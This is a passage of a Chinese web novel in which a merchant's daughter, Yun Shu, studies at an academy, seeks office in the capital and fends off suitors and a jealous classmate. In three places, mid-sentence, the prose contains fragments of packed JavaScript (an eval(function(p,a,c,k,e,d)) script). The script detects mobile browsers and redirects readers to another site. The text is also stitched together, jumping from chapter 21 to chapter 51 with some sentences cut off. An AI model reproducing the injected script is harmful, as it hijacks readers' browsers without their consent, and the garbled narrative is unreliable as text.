站在屏风旁边的他被遮住了一半身子,听到女郎的话,又怯怯抬眸看向女郎,见她神色冷淡,怕得浑身颤了一下,到底不敢出声。 他紧抿着唇,垂下来的手指蜷缩着,试图再做点什么,见女郎看过来,还是弯腰捡起地上的衣裳披上,随即退了出去。 他穿着极薄的衣裳,若是沾点水便瞬间透明,还险些碰到屏风。 门外,他极力裹着自己身上的外袍,冻得眼睛红红的,面容也有些红。 怎么进来的,他就怎么出去。 外面的人见他这么快出来,也没有出声询问是为什么。 左右是女郎不喜男色了。 可为什么呢? 等云母回来时已是三天后。 这三天云竖几乎日日去看云父,剩下的时间便待在书房里哪里也不去。 后宅的日子是安静且循环往复的,无聊平静。 这日夜里,所有人聚在一起吃饭。 “我为你寻了一门亲事,是南阳侯府的嫡女。” 主君听见,微微蹙眉,“那世女不是娶过正夫了吗?” 虽说他不待见府上的庶出,但也不至于要丢了家门的脸面,能嫁得好自然要好。 坐在那低头的云翡紧紧抿唇,只低头应下来。 “那正夫病逝了。”云母说道,“多添点嫁妆,虽说是高嫁,也不会跌了身份。” 她自然要为以后打算,云府树大招风,自然要找个长久的靠山。 她也不会浪费了云竖和云栾的婚事,娶夫也应该娶官家子,娶个庶出就行。 除了权势,云府最多的就是银子。 “你为子漾寻的那几个都推了。” 云父欲言又止,又看了一眼云竖,有些气得吃不下饭。 官家子怎么会下嫁给商贾? 娶回家难道还要供着不成? 先不说纳侍,便是子嗣也艰难。 云竖没吭声,反正云母说的那些都是以后的事情。 坐在旁边的云栾低垂着头,完全没有把云母说的话听进去。 饭后。 雨点被风吹得打湿了长廊处的地板。 云翡跟在云竖身后,眼睛红红的,也不说话。 “你跟着我做什么?”云竖侧身问道。 “姐姐帮帮我吧。”云翡抬手擦了擦眼泪,声音抽抽噎噎地,“我听说南阳世女是个性情残暴之人,那正夫病逝说不定是个幌子,我嫁过去只能等死。” 他只需要嫁给一个没云府有钱但也应该衣食无忧的妻主,他的要求不高,只要人正常就行。 可现在呢? 他又不想攀什么权势,他又没有那个心思。 站在不远处的云竖默了一下,温声道,“我会试试,你先回去待着吧。” 云翡自然长得还行,算是端庄温顺,言行一般,又没有被缺衣少食,也没有被苛责薄待。 除了偶尔的小心思,这都无伤大雅。 他抬眸看着眼前跟往日里完全不一样的嫡姐,红着的眼睛眨了眨,还是低头应了下来转身离开。 三日后。 云竖去寻了云母。 书房处。 “母亲真的要如此吗?”她轻声问道,“南阳侯府表面上虽说过得去,可世女暴戾恣睢,岂会帮我们呢?” 她将得来的书信递给云母,“这是我遣人得来的书信,南阳往返三日,与南阳侯府相熟的人是书院的学子,与我同窗,叫做苏洄,苏洄是户部尚书的嫡女,暂住祖宅。” “信中言南阳侯府缺少银钱,无法正常运转,世女好赌,正夫的确病逝,却也是因为世女,实难良缘。”她语气平静,“母亲为何如此着急。” 坐在那的云母瞅了她一眼,没有去看书信,“你是不是变得有些多?读书还能把你脑子修好?” 云竖:“……” “还去吗?” “去啊。”她回道,“为什么不去,我还要去京都。” “为了谁?” 云竖默了一下,“只是为了前途而已。” 还能为了谁? “你最多再能待一年。”云母说道,“一年后你就得回来学着处理这些。” 云竖含糊地应了下来,“你可以先培养培养云栾,我到时候好少一点事情。” 云母面容古怪,觉得她真是奇奇怪怪,一会儿这一会儿那。 昨夜夫郎还说子漾不喜男色。 她犹豫了一下,“你现在喜欢女色?” 云竖沉默了一下,耐心道,“不喜欢。” 空气一下安静下来。 “好了,回去吧。” 云母开始赶她走。 临近除夕,外面越来越热闹,时不时能够听到鞭炮声,也能看到烟花。 城门宵禁解除,街上的花灯和焰火红得触目惊心。 汛蓝提灯,后面的人拿着食盒,几人穿过长廊敲了敲女郎的屋门。 “女郎怎么还在看书。”讯蓝把花灯挂在一处,示意他们把吃食放过去,“这是主君让人送过来的盏蒸羊和乳糖圆子,奴还让人备了银丝鱼汤。” “放那吧。” 讯蓝看了看女郎,犹豫地将请帖递给了女郎。 “这是胡女郎和夏女郎送的请帖。” 云竖合上书,“胡女郎和夏女郎?” “女郎忘了吗?女郎经常与她们去玩。” 画屏上人影虚虚晃着,垂帘半卷,熏香将冷,红纱罩着蜡烛。 云竖拢了拢身上的裘衣,将书放在一侧倚靠在那,褶皱的衣摆顺着垂下,嗓音微微上扬,莫名的清冷,“去玩?” “我曾经与她们玩什么?” 讯蓝迅速抬眼看了一眼女郎,“喝酒打马……” 那就是狐朋狗友了。 “去拒绝了吧。”她说道。 “明日夜里有灯会,听说还有舞祭,女郎要去看吗?” 云竖没说什么,只是让他们下去,侍从守在门外。 她没有再看书,被黑夜隐匿的身形露出来,起身掀开珠帘走到屋外。 门外,柔柔的月光将四处照亮。 她的面容有些冷淡,狭长的眼眸看上去有些凉薄,偏偏白得生艳。 “又开始下雪了。”云竖看着守在门口的几人,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360638|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去吧,不用你们守着。” 他们低声应了下来,俯身退下。 一炷香后,云竖吹灭蜡烛,躺在床上。 帷幔被放了下来,这是两个人睡的床榻。 她看着里榻空荡荡的,很快睡了过去。 花灯节的那天,云竖出府观灯。 云翡和云栾跟在她后面,不说话,跟个影子一样。 巨大的花灯被几人合力抬起在街上游鱼,还有人提着精巧的花灯跟在后面。 云竖没管她们两个到底想做什么,买了果水,侧身看着站在不远处的人,示意汛蓝把果水送过去。 “云竖。” 听到有人叫她,云竖侧身望过去,有些耳熟。 但是附近的杂声太多,甚至一时间分不清是谁。 苏洄旁边跟着一个少年,没有戴面纱。 “这是我弟弟,苏越。”苏洄说道,“他闹着要来这里玩。” 想到这里,她就想翻个白眼。 不过是见了一面,便心心念念,如今还闹着她带他出来。 苏越下意识躲在姐姐身后,抬眸看着眼前绯衣雪裘的人,不由得红了脸,声音细细的,“云姐姐好。” “你打算什么时候回去?” 云竖见苏越盯着自己手上的花灯,转而递给他,“还有几日吧,等雪停了再去。” “之前的事,多谢你了。” 苏洄看了一眼旁边的弟弟,“没什么,这大家都知道。不过你既然要谢,那就带我这弟弟出去玩一天,怎么样?” 云竖愣了一下,也知道这是什么意思,推诿道,“恐怕还得下次。” 下次是哪次,只要她不说时间就不会有下一次。 “那你接着逛,我们先过去了。”苏洄听出她拒绝的语气,突然笑道,也顺便把强硬把弟弟拉走,“书院再见。” 汛蓝回来,看见女郎站在那,好奇问道,“女郎刚刚在和谁说话?” “是书院里的同窗。”她语气淡淡。 …… 一场雨把堆积的白雪冲散,角落里冒出不经意的绿来,任由残余的雪围绕在四周。 淡云撩乱,山月昏蒙。 积雪消后,突然长出来苔藓翠绿,像堆积的蓝草,涓涓淌着露珠。 山林青松翠柏,四面原堤草色新。 青冷交融的色调裹挟着沁骨的冷意,细瘦的藤蔓缠着老树,白鹤偶然飞过。 “女郎好久不见。”他眼睛亮了亮,厚实的衣裳将他衬得丰腴,姣好的面容犹如山间素净的白玉一般,轻灵纯净。 云竖不着痕迹避开他突然的亲昵,“船还空着吗?” 他埋怨着,“女郎可真冷心,我可在这等了女郎许久。” 云竖没听进去,只当他闹脾气。 这里的男子多愁善感阴晴不定,云竖几乎是左耳进右耳出。 谢枝见她一副木头模样,一时气愤,咬唇抬脚上了船,又转身唤她上来。 船开始滑动,在一边的谢枝抬眸悄悄去看她,见她平静的模样,细细一想就知道她没什么侍夫。 这副样子怎么可能讨男子喜欢,木讷不懂讨男子喜欢,粗粗一瞧就知道是个呆子。 还是个书呆子,说不定还是个迂腐 古板的女君。 他咬唇有些恼怒,为什么要对他避之如蝎呢? 20. 第 20 章 半年后,转而进入立夏。 荷花在江边一团一团地开放,微微摇曳。 炎热的天气十分闷燥,吹来的风却带着微微从树叶中蒸腾出的草木清香。 这日。 “女郎,这是我新采的莲花和莲子,送给你好不好?” 谢枝看着坐在离自己一米外的女郎,从瓷瓶里取出一朵还带着露水的莲花。 他语气很软,带着难以察觉的哽咽,额前的碎发与浓睫毛似乎要侵入眼眶里,红通通地,欺侮得那双眼睛水润红猩。 “你怎么了?” 他不自觉低着头,摇了摇头,“没什么。” 云竖顿了顿,拿过他的莲花,“若有什么困难,说不定我可以帮你解决。” 即便云母说一年后必须老老实实回去接管,但这半年也陆陆续续让她知道了一些。 有银子能解决的事情都不是事。 云母常常命人施粥,也救济帮助一些学子…… 莲花上还带着水滴,顺着花瓣滴落在她的手上,很快隐匿在袖子里。 谢枝犹犹豫豫地抬头,又看了一眼正在划船的女人,凑进云竖,压低声音道,“母亲让我嫁给一个没了夫郎的女人,我不想嫁,谁都不想嫁。” 凭什么他是男子,他就急着被嫁出去,他不过才15岁。 凭什么她们可以独身走来走去,想做什么就做什么。 凭什么他就该是低贱之人,其他人就是权贵。 他凑得极近,眼睛内戚戚地,几乎攀附在她身上,“女郎帮帮我吧,我不想嫁人,我会死的。” 云竖身体往后倾,把他推开,“你冷静一下。” 随后,她像是忘记刚刚他的行为,语气随意,“所以我要如何帮你呢?” 谢枝愣了一下,歪头看了一眼她,突然笑了笑,“女郎娶我好不好?” 她说道,“你知道这不可能。” “那女郎给我银钱好不好?”他好奇道。 云竖坐直,“没有什么是不劳而获的,我给你一时的银钱,就能帮你吗?” “我可以给你银子避开婚嫁,也可以帮你寻一个店铺工作,你要吗?” 谢枝没有说话,谁要过那种生活呢?一眼就忘到头,还不是被人当作是低贱的人吗? 他有这张脸,为什么不能嫁一个有钱的人家,为什么不能一朝得势一朝变成凤凰。 他只是想要一个更好的生活而已。 谢枝抬手擦了擦眼泪,“女郎真的不会娶我吗?我长的不好看吗?” “天下好看的人那么多,难道我都要喜欢吗?”云竖反问道,“如果你需要帮助,这就是我能帮你的法子。” 船停下后,谢枝没有出来。 云竖拿着木盒出来,交完银钱后便上山。 书院处的大门已经被打开,此刻不过临近午时。 几人结伴而行,与云竖擦边而过,目的是下山。 她们见到云竖,行揖礼后才离开。 “你说云竖是山长的外孙女,虽是商贾,想来应该有机会吧。” “她的才气又不弱,听说之前她的字不好,如今也练得有模有样,你替她愁什么?科举那么多人考试,录取名额有限,她参加不了说不定还是好事。” 云竖没有听到她们的对话。 回到屋舍后,她先是把木盒放下来,这才推开窗户。 “你回来了?” 听到动静的孟昂走过来,“你昨天下午不在,夫子可点了你一次,还夸你,昭鹤脸都气歪了。” “下课后居然还嘲笑你没有资格考试,只能没有脸皮的去递文章。” 孟昂只披着外衫,头发胡乱地绑起来,“她真是的,干嘛跟你过不去,难道还气有人把你和她绑在一起。” 策论在半个月前上交,她和昭鹤的策论更为突出,夫子甚至将她们两个的策论递到了主考官面前。 而夸赞的不是昭鹤,是云竖。 “这本事不行,气量还大。”孟昂拿着扇子给自己扇风,“你打算跟我一起去京都吗?说不定我还能带你去逛一天。” 云竖想了想,“你去的太早了,我还能再晚一点。” 再有一月,这座书院的人就会少三分之一的人,都将前往京都。 而其他人要么只是单纯求学,要么是刚刚进来的人。 山上的天气并不灼热,反而凉快下来。 云竖也挪移了一些东西出屋,让其看起来宽敞一点。 孟昂会提前半个月回去,毕竟她的家就在京都。 等孟昂回去后,云竖一如往日一样将木盒打开,取出里面的衣裳,将其挂起来,随后才继续看书。 夜里。 云竖合上书打开门出来散步。 月光印在地面上残留的水坑中,波光粼粼。 夜里很安静,所有人压力都很大,平常出来散步的行为几乎消失,也不再串门拜访。 即便失眠,她们也会选择继续看书。 一炷香后,云竖再次回到屋内。 她给自己倒了一杯热茶,坐在那放空。 很快地,她吹灭蜡烛,躺在床上。 她想着,去京都会不会更有趣一点。 待在书院虽然平静,但日复一日未免无聊。 贫乏的娱乐场所,以及看腻的屋舍。 寡淡的青色帷幔被放下来,轻轻摇晃着,云竖放松身体,很快熟睡了过去。 翌日。 她先是被叫到了山长那。 去那碰到的第一个人不是山长,而是同坐在那的昭鹤。 看到她,云竖也不感到惊奇。 她俯身行揖礼,随后挺直背脊越过她进了屋。 昭鹤脸上淡淡的,不像孟昂说的那样气急败坏。 孟昂一向喜欢夸大事实。 “子漾来了。”山长端着刚刚泡好的茶水,“出去说吧。” 云竖接过来,跟在山长后面。 亭子处。 山长取出两张信封,“这是两封推荐信,不过昭鹤可能不需要,科举的结果可能会更好,你用不用都在你。” 昭鹤轻轻抿唇,而是盯着云竖。 接着,她看向云竖,笑容扩大,“你呢?” 云竖摇了摇头,“我也想去京都看看。” 推荐信的职位虽说看上去还行,不过太过死板,很难调升。 “这并不是有效的帖子,你们可以以后考虑。” 山长把推荐信递给她们,“你们的策论已经被送了过来,在你们夫子手里,到时候她会给你。” 说完这些话,山长就不再留她们。 出乎意料,云竖原以为她会分道离开,却是同她走一个道。 “不怕自视甚高吗?”昭鹤突然说道。 “若没有结果,我自会认清离开。” 昭鹤顿了顿,突然微笑,“我在京都也有些关系,若你实在太过废物或者走投无路,可以来找我,毕竟是一年的同窗。” 云竖:“……” “你说话真难听。”云竖轻笑道。 昭鹤随即恢复成面无表情,与她比肩走在一块。 “有时候需要审时度势,该不要脸面的时候就该丢掉。”她讥讽道。 昭鹤看了她一年的好脾气,没有发怒过,反而恭谨温顺,看不到任何可以指责的地方。 不过是装得好而已。 装得了一年,她不信云竖能装一辈子。 到达学堂,里面已经坐下的人见她们两个气氛和平的进来,有些晃了晃眼。 云竖在一年里瞬间拔尖,明明她们还没见到自己的提升,倒是见证了别人的优秀。 坐着的几人面色古怪,见两人比肩进来,罕见地有些谐和。 像一对美玉一般,曳地前行。 不是没有人暗地里有人称其双玉,毕竟她们的才气和外貌都是数一数二的好。 云竖率先坐下来,她旁边的一个人就拍了拍她的肩膀,“有人写信给我,叫我替她邀请你去她那里玩,听说那有十里桃花,万家酒肆,你去不去?” 有人笑道,“什么十里桃花,万家酒肆,我怎么没听说过。” 她红着脖子道,“那是你没见识,见识少了就不要说话。” “夫子来了,快别说话了。” 还在与人争论的她顿时激灵地往外看了一眼,随即压低声音,“下课后记得跟我说啊。” 云竖愣了愣,随即点头。 一个时辰后,夫子离开。 突然出现在门口的孟昂将云竖叫了出来。 “你去见到那明珰吗?” 云竖走出来,随她去了长廊,听到她的话摇了摇头。 “我看到书院里的左思跟他走得挺近。”她顿了顿,“左思你知道吧。” 左思也是商贾,不过她是纯粹求学。 “所以呢?”云竖好奇道,“他跟谁走近不是他的自由吗?” 孟昂上下打量她,“若你对那明珰感兴趣,不如趁早把人带走。” “我只是帮过他而已,现在已经没有关系了。” 她想着,碰到的一些男子目的都非常明确,不过有目的也是好的,这都是他们选的。 “只是这个就把我叫出来吗?”云竖耐心问道。 孟昂望了望地,“是这样不错。” “那我先回去了。” “诶等等,我们下午下山去喝个酒吧,好歹现在还有时间。” 云竖没有拒绝她,点头同意后这才进去。 坐在那的昭鹤看了一眼进来的云竖,随即垂眸翻开第二页。 下午。 云竖和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“魏野我不大熟,听别人说,是一个很严肃的人,有些迂腐古板,我听小道消息,尤其在男人身上拎不清,所以她对男人都避之不及。”孟昂见她开始发呆有些懵,“你酒量怎么差吗?等到了京都怎么办?喝酒可是必要的,你多练练。” “像我这样大口大口的喝,不要像魏野那样古板,官场上还是要灵活的。” 孟昂有些急眼道,“喝大口一点。” 说着说着,她就帮云竖上手,给她倒了满满一大杯。 云竖沉默了一下,“我们还得回去。” “这又不是没有住的地方。”她小声道。 云竖没喝,孟昂也不逼她,反而自己喝起来。 风从窗口吹了进来,云竖有些清醒过来。 她看着窗外的人和摆摊的人,虚虚地注视着,始终没落下来。 她脑子里有些恍惚,冒出来一个背影。 一个搭着纸伞匆忙越过的身影,衣裳表层的白纱被风吹得飘起来,腰间的蓝色宽带好似也接连沾了一点雨,变得濡湿笨重。 连头发丝都透着雪一样的纯轻。 空气也像现在一样,雾蒙蒙的,带着黏稠的湿度,什么时候下雨都不足为奇。 她想着,如果能娶他也行,即便是仅仅看到一个背影。 不需要去考虑性子,也不需要去考虑是何容貌。 她有些恍惚,狭长的眼眸直勾勾地盯着屋檐。 随着那铃铛突然响起来,一个一个响起来,云竖堪堪反应过来。 下雨了。 雨点飘到了她的脸上,越下越大,豆大的雨水打在地上晕开,随后倾盆大雨。 “啊……下雨了。”孟昂放下酒,“那该订两间上房了。” …… 一个月后。 云竖拜别外祖母和夫子,先是回了一趟家。 云母没有出去,像是专门等她回来一样。 府上的人开始忙碌起来。 屏风上绣着金花,色彩金黄艳丽,在光影中若隐若现,仿佛在浮动下沉,既朦胧又缥缈。 屋内,云母看着云竖,想着对于买卖,这个脑子也该能用。 她没有指望云竖能做出什么,只指望她早日回家接管,好越做越大。 只有云父一人给云竖夹菜,而云母一声不吭。 饭桌上只有她们三人。 云父自然欢喜,他本就是书香门第出身,自然对科举之事抱有敬仰。 若他的女儿能闯出什么,他出门走路都带风,他那些尚在闺门的手帕交自然也不会再说什么风凉话。 “我让人准备好了行礼。”他才刚刚出声,云竖就摇了摇头。 “我打算一个人去。” 云父蹙眉,“你一个人怎么能照顾好自己,多待几个随从去也好。” 云竖看了一眼云母。 “她这么大了还能照顾不好自己?多带点银钱过去就行,到了那少说话,别乱说话,京都脚下可处处是眼睛。”云母缓缓说道,“能用银子打点的事情就用银子,若花完了银子,又一事无成,就早点回来接管,别一直在外逗留。” 她的话差点就说去玩玩就成,就当撒银子玩。 云竖沉默了一下,嗓音清淡,“我一个人去就好,我在书院也能照顾好自己。” 21. 第 21 章 去京都那天是个好天气。 她再次登船,需要待六七天。 船上的时日是很无聊的。 但是与上次不同,出来透气时常能看到拿书的学子,或者讨论诗词文章,或者席地而坐。 下船后,云竖随意寻了一个客栈,硬生生睡了一天才反应过来。 等她从屋内出来,随意吃了一点东西垫肚子,便出来走走透气。 她穿得很简陋,只一身青绿的衣袍,其余的便什么都没有。 小二见她出去,只以为又是哪个小地方过来的学子,头一天出来就急着去看京都是何模样。 除了出去硬生生逛一圈,怕是什么都买不起,什么也不敢花。 街上,云竖寻了一个遮阳的茶馆。 顺便拿了一本茶馆提供的书翻看。 是话本。 她低头在那看,碎发遮住了眼眸,露出润白的侧脸,偏偏身上的衣裳又简陋的很,带着一丝清冷。 “公子,你瞧瞧那边?那人真好看。” 刚刚从铺子里出来的李持安下意识顺着他的方向看过去,便看到在茶楼那低头看书的女郎。 他先是下意识摸了摸发髻,有没有松散,又将耳边散乱的碎发别至耳后,耳坠也轻轻晃着。 “看着像赶考的学子。”他声音轻轻的,“你去查查她叫什么名字,家住哪里,有几个姊妹。” 少年穿着华服,没有被面纱遮掩的面容看上去似乎很柔弱胆怯,但同时又带着世家该有的恶劣性子,让人看见望之莫及。 他看了又看,觉得她真奇怪。 “公子,该上马车了。” 李持安收回目光,被人扶着上了马车。 他想着,若母亲偏偏要他出嫁,他为什么不能选一个自己心仪的人? 马车上,他掀开帘子,想要看清楚她是什么模样,可如何也看不清楚。 他微微咬唇,被袖子掩盖的手指蜷缩着,对刚刚买的首饰也不大感兴趣了。 旁边的侍从不敢吭声,也知道公子近日被家主逼着要择妻。 空气越来越热,云竖还书后便结账离开。 回到客栈后,小二见她两手空空,脸上还有些红,显然是被烈日暴晒。 她随口说道,“女君可要喝点消暑的绿豆汤?” “给我来一碗。”云竖说道。 跟在云竖身后的人示意那小二过来,塞了银子给她,低声问她,“那人叫什么名字?” 小二看了看坐在那等待的女君,又握紧手上的银子,笑呵呵道,“您等我一下,我去看看。” 过了一会儿,小二跑过来,低声告诉他叫什么名字。 那侍从看了一眼云竖,将人看清楚后这才离开。 虽然说公子一时兴起,可一个平民怎么有机会去求娶一个贵卿呢?即便公子肯嫁,家主也不会愿意。 有一副好皮囊有什么用呢? 云竖回了房间,又让人送水上来打算沐浴。 等门被敲响,云竖开门又见是刚刚的小二,“麻烦了。” 见她态度突然好起来,云竖有些不解。 “女君若有其他吩咐,记得叫我。” 门再次被关上。 一炷香后,云竖只穿着一件里衣,濡湿的发尾被擦干净,便任由它披散着。 她现在才开始整理东西。 待整理完后,她打开窗户,热风迎面而来。 她顿了顿,随即关上窗户,又花银子让人送冰块和水果上来。 这几日,云竖哪里都没有去,反而一直待在屋内。 这日清晨,她早早出门,天不过刚刚亮起。 她试图递文寻找出路,想试试这种有没有作用。 她看着下面正在吃早点的学子,不有得羡慕。 要是她也有机会考试就好了。 递文虽是一种途径,但京都世家等级森严,即便被看中也不一定有机会露头。 “女君这么早出去做什么?” 云竖敷衍道,“有事。” 绕过几条街,来到这种官员聚集地,云竖先是去寻了礼部郎中的住处。 她看着门口的侍卫,便上前去询问,“我前来递文,可否将文章递与大人?” 侍卫先是打量了云竖,随后接过她手中中文章,“等着。” 她进去后便叫云竖进来。 她没有四处观看,跟着人越过长廊来到书房。 推门抬脚进去,她就见到显然是礼部郎中的人手上拿着她的递文。 “你出身商贾?” “晚生是。” “你是云竖,看来也不如不见,这两篇是你写的?” “是。” “胡言乱语,绮丽浮华。” 云竖:“……” 看来完蛋了。 “请日试万言,倚马可待,但愿一识京都。”她斟酌两句,语气恭谨道。 “真是浪费本官时间,出去。” 云竖还未说几句,就被侍卫拦住赶了出去。 门口,她拂了拂身上衣裳的褶皱,拿着手上的递文,转而去了下一个地方。 出师不利。 她叹了一口气。 接着,她先是拜访了几位吏部的官员,皆无果后便去向世家大族递文。 这个无需见面,只需把递文上呈即可。 这时已然到了下午。 云竖原路返回。 …… 客栈处,她才刚刚抬脚踏进去,就见着令人惊奇的人。 “你是来吃饭的?” 她试探道,甚至怀疑自己是不是走错了客栈。 昭鹤转身看向门口的人,讥讽道,“你以为谁都能像你一样能在这里住下吗?” “怎么,出去递文了吗?”昭鹤走过来,“让我猜猜,你是不是还去向世家递文了?” 云竖:“……” “你可知道世家是什么德行?”她压低声音,“你这副模样,被看中的只有脸,而不是什么递文,她们自己人都不够用,怎么会那么大方来帮你?” “你特意来这只是来嘲笑我的吗?”云竖指了指自己,有些不可思议,“是不是有点浪费时间了。” 客栈陆陆续续有人看了过来,昭鹤注意到,不由得微微蹙眉。 “去那边说。” 云竖跟了过去。 两人站在屋檐下,附近没什么人。 “我可以帮你。”昭鹤缓缓说道。 “不过你得等我,在这期间你不能答应任何人。” 云竖默了一下,声音莫名有些冷,“……我觉得你不用这样,若你不喜我,之后你都可以不用见到我,何必还把我提到跟前来打压我?” “若我实在没有机会,自然会认清自己回去,不用你来提示。” 昭鹤紧紧皱眉,走近一步,“难道你想当女宠不成?” 虽说她不知道京都具体情况,但是这种话应该不是能够随便说的。 云竖感觉她在吓唬自己,怎么她就能去当女宠了? “难道京都只有昭鹤有此等良行,提拔同窗,好言相劝。”云竖同样皱眉,“你还是回去准备考试吧,现在不应该出来。” 昭鹤见她不愿再说下去,甚至要越过她。 她伸手握住云竖的手臂,冷声道,“我说的并非是假的,皆为良言,为何不愿意等一等呢?” “你为何要帮我呢?”云竖反问道,“在书院,唯有你对我针锋相对,你觉得我会信你吗?” “难道信孟昂吗?就凭孟昂,她能帮你什么?难道你以为还跟书院一样,有山长护着你?你不妨把眼睛放大一点,事实认清一点,现在应该只有我能帮你。”昭鹤嗤笑道,紧紧盯着她。 她想着,云竖竟然如此天真,天真到以为她能够得到机会。 谁会帮她呢? 没有人脉,即便再有才华有什么用呢?她帮云竖不过是看她顺眼,起码比京都的那些人顺眼。 云竖有些沉默,觉得昭鹤有病,不知道跑到她面前是为了什么? 即便入仕无望,她也不至于死磕。 即便要轮落到真要去当女宠,云竖又不是脑子有病,她又不是将权势当命根子。 “说完了还有什么要说的吗?既然没有要说的话那你就回去,不是要我等吗?”云竖将她的手拂开,抬脚走了进去。 而昭鹤停在原地,脸上变了几下,这才深呼吸离开。 离科举考试还有一个月的时间。 她得回去。 回客栈后,那守在旁边的小二走过来,“诶女君没什么事吧?” 小二想到那显然是世族女君的模样,可为何会来寻一个毫无权势的平民呢? 她上下打量着,想着为什么? “女君准备好一个月后的考试了吗?听说科举揭榜之日,会有人榜下捉婿,若女君有所功名,说不定就会被挑中。” 她说着,有些羡慕,一旦被挑中,真真是什么都变了。 有身份贵重年轻貌美的夫郎,还有大宅院,还有很多很多银子,也会有宅仆供人差遣,而不是在这里当一个小二,整天里做着梦,为什么自己不能变得有权有势。 “我是商贾出身,没有机会考试。”她轻抿着唇,告诉她。 “真可惜,女君不若去寻一些有钱有权的男子,有些人还没有这个机会。”小二唏嘘道。 云竖突然笑了笑,没有跟她说下去。 …… 庭院处,正在裁剪花枝的李持安听着侍从说的话,微微蹙眉。 “你说什么?她有二十二房侍夫,还有几个通房?是不是打听错了?是不是搞错名字了?” 李持安的声音微微拔尖,漂亮的眼眸皆透着不可思议和不满。 “奴还让人拿了画像去认,的确是她。”他声音越来越小,生怕公子迁怒他。 李持安将手上的东西扔在地上,身上只穿着极薄的衣裳。 他几乎气极了,恼怒自己为什么会看上这种人。 一个有着二十二个侍夫的人,还流连花楼,还为了侍夫跳水…… 金玉其外败絮其中,真是空有一副好皮囊。 “她这几天在做什么?” “在客栈内一直没出来。”那侍从弱弱道。 他开始恼羞成怒起来,薄薄的脸庞气得绯红,转而抬脚进了屋。 其他的侍从面面相觑,颇有些忧愁。 这一年来,公子的性情越发古怪,上一秒还天真无邪,下一秒就开始冷着脸。 如今越发阴晴不定,由着性子做事,不管那女君是何样,公子如何能嫁呢? 本就该门当户对,怎可嫁入商贾呢。 夜里。 李持安沐浴后只穿着一件里衣,里衣宽松,仔细一看便能看到衣服下轻轻晃的身体。 他披散着头发,坐在铜镜前梳着头发,身上的首饰全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李持安只吃了一点东西垫肚子,随后窝在房间里看了一会儿书便让人备马车离开。 马车备在大门口,刚刚从外面回来的礼部尚书李随看着那马车微微蹙眉。 “公子这是要去哪里?” 侍从连忙俯身,“家主,苏公子邀公子去参加茶会。” “不要让他在外面待得太晚。” 她说完便抬脚进去,也不管那跪地的侍从。 一炷香后,李持安上了马车。 他低头看着书本,很快将昨日的事情忘却。 翻书时,手腕处的镯子也跟着轻轻摇晃作响。 他像是因为这个声音恼了,不再看书,反而提起那一串葡萄冰着手心。 “还有多久?”他声音有些哑。 “快了。” 不知道哪里的声响冒出来,马车接着开始摇晃,出现马的嘶鸣声。 李持安试图从马车内出来,可身子不受控制地倒回去。 侍从护着公子生怕公子摔出什么问题来。 他连忙扯着公子出来,还没有出去,那马车就停了动静。 侍从掀开帘子去看,原是魏女君。 “公子,是魏女君。” 李持安紧紧抿唇,有些咬牙切齿,恨不得让她也吃尽自己的苦头,“碰到她总没好事,不是马车出问题,就是被泼水。” 他掀开帘子,看到的第一人却是站在魏野旁边的云竖。 他下意识蹙眉,怎么她们两个人会站在一起。 “既然无事,我就先走了。” 魏野急着邀请云竖,见又是李府的贵子,想都没想地直接说离开。 云竖看着露出脸的李持安,险些愣住了。 见他坐在马车边缘,双手扶着边缘,发丝凌乱,眼睛也红红的,面容慌张无措,白皙的肌肤滑艳清透,紧紧抿着唇,瞧着既轻灵又纯真。 云竖甚至下意识想要过去。 “我们该走了。”魏野说道。 刚刚抬起一步的云竖反应过来,不再看马车上的人,带着歉意,“那走吧。” 马夫很快稳住慢慢安静下来的马,头上直冒汗。 真是稀奇。 之前都没什么事,怎么突然就被刺激到了? “公子,你没事吧?” “回去。”他说道,听起来莫名带着冷。 他身体发软,浑身无力,不受控制地颤抖。 侍从连忙处理着公子身上的凌乱,把发丝勾到公子耳后,又整理着公子身上的衣裳。 “公子喝口水吧。” 随后侍从把密封的水取出来,没去管身上被水打湿的衣裳,只想着让公子快点恢复过来。 公子过于敏感,似乎什么都能被吓到他。 主君过逝的早,公子无人看管,自小就比较安静乖巧。 家主也无其他子嗣,只有公子一个孩子。 李持安喝下去,越发沉默起来。 “云竖为何会和魏野待在一处?” 一个可恶,另外一个则可厌。 他想着刚刚两人似乎认识,似乎相邀做什么。 马车渐渐离开刚刚发生事故的地方。 不过一会儿的功夫,马车又回到了原地。 50-60 第51章 第51章婚事 马车停了下来,府门的侍从见了,连忙去通知。 跟在马车旁边的少年睁着眼睛盯着,浑身发抖,忍住想要跑的心思。 云竖下了马车,随意看了一眼正在发抖的少年,示意他跟过来。 两人穿过回廊,就到了堂前。 “这是什么情况?” 看着眼前格外瘦的少年,谢真微微蹙眉。 “刚刚路上碰到的。”云竖解释道,“祖母这人少,多个人也好。” 云府的侍从很多,带回去不免被其中的人欺负。 这个院子不大,但也胜在雅致。 云竖粗粗看了一眼后,这才跟着人坐下来。 深绿的竹叶上带着雪,竹子被压弯,很快弹开枝叶上的雪,又笔直起来。 其他侍从端来茶,又安安静静地退在一旁。 刚刚的少年被其他侍从带下去,便没了下文。 “什么时候回来的?” 谢真问道。 “昨日刚到。” “在京都还好吗?有没有跟书院里的人来往”谢真问道,“我本以为你在京都闯过一番就会回来,毕竟那太过混杂,总是要人做这做那。” “还好。”只不过她碰到的是嫁娶之事,还算幸运。 